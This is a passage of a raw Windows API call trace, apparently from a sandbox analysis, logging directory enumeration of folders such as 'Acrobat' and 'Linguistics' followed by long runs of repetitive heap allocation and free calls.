ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0061.319] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e898 [0061.319] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.319] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x30e5770 [0061.319] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eab8 [0061.319] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.319] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e898 | out: hHeap=0x670000) returned 1 [0061.319] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0061.319] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0061.320] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301d980 [0061.320] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x38) returned 0x3038608 [0061.320] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e898 [0061.320] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eab8 | out: hHeap=0x670000) returned 1 [0061.320] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.320] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.320] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301d980 | out: hHeap=0x670000) returned 1 [0061.320] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.320] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0 [0061.320] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.320] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0061.320] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d4b0 | out: hHeap=0x670000) returned 1 [0061.320] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.320] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eab8 [0061.320] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.320] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.320] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.320] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.320] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.320] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.320] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.320] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.320] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.320] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.320] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.320] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.320] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.321] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.321] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.321] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.321] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.321] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.321] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.321] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.321] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.321] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.321] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.321] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.321] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.321] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.321] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.321] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.321] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.321] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.321] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.321] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.321] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.321] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.321] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.321] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.321] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.321] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.321] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.321] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.321] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.321] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.321] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.321] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.321] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.322] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.322] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.322] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.322] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.322] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.322] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.322] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.322] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.322] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.322] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.322] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.322] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.322] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.322] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.322] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.322] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.322] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.322] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.322] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.322] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.322] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.322] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.322] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.322] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.322] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.322] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.322] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.322] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.322] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.322] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.322] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.322] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.323] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.323] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.323] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.323] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.323] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.323] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.323] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.323] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.323] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.323] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.323] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.323] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.323] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.323] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.323] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.323] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.323] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.323] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.323] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.323] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.323] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.323] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.323] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.323] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.323] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.323] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.323] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.323] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.323] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.323] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.323] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.324] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.324] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.324] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.324] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.324] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.324] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.324] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.324] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.324] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.324] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.324] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.324] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.324] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.324] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.324] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.324] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.324] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.324] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.324] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.324] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.324] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.324] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.324] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.324] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.324] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.324] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.324] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.324] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.324] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.324] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.324] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.325] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.325] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.325] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.325] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.325] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.325] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.325] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.325] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.325] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.325] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.325] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.325] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.325] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.325] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.325] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.326] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.326] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.326] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.326] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.326] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.326] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.326] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.326] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.326] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.326] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.326] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.326] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.326] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.326] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.326] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.327] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.327] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.327] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.327] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.327] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.327] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.327] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.327] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: 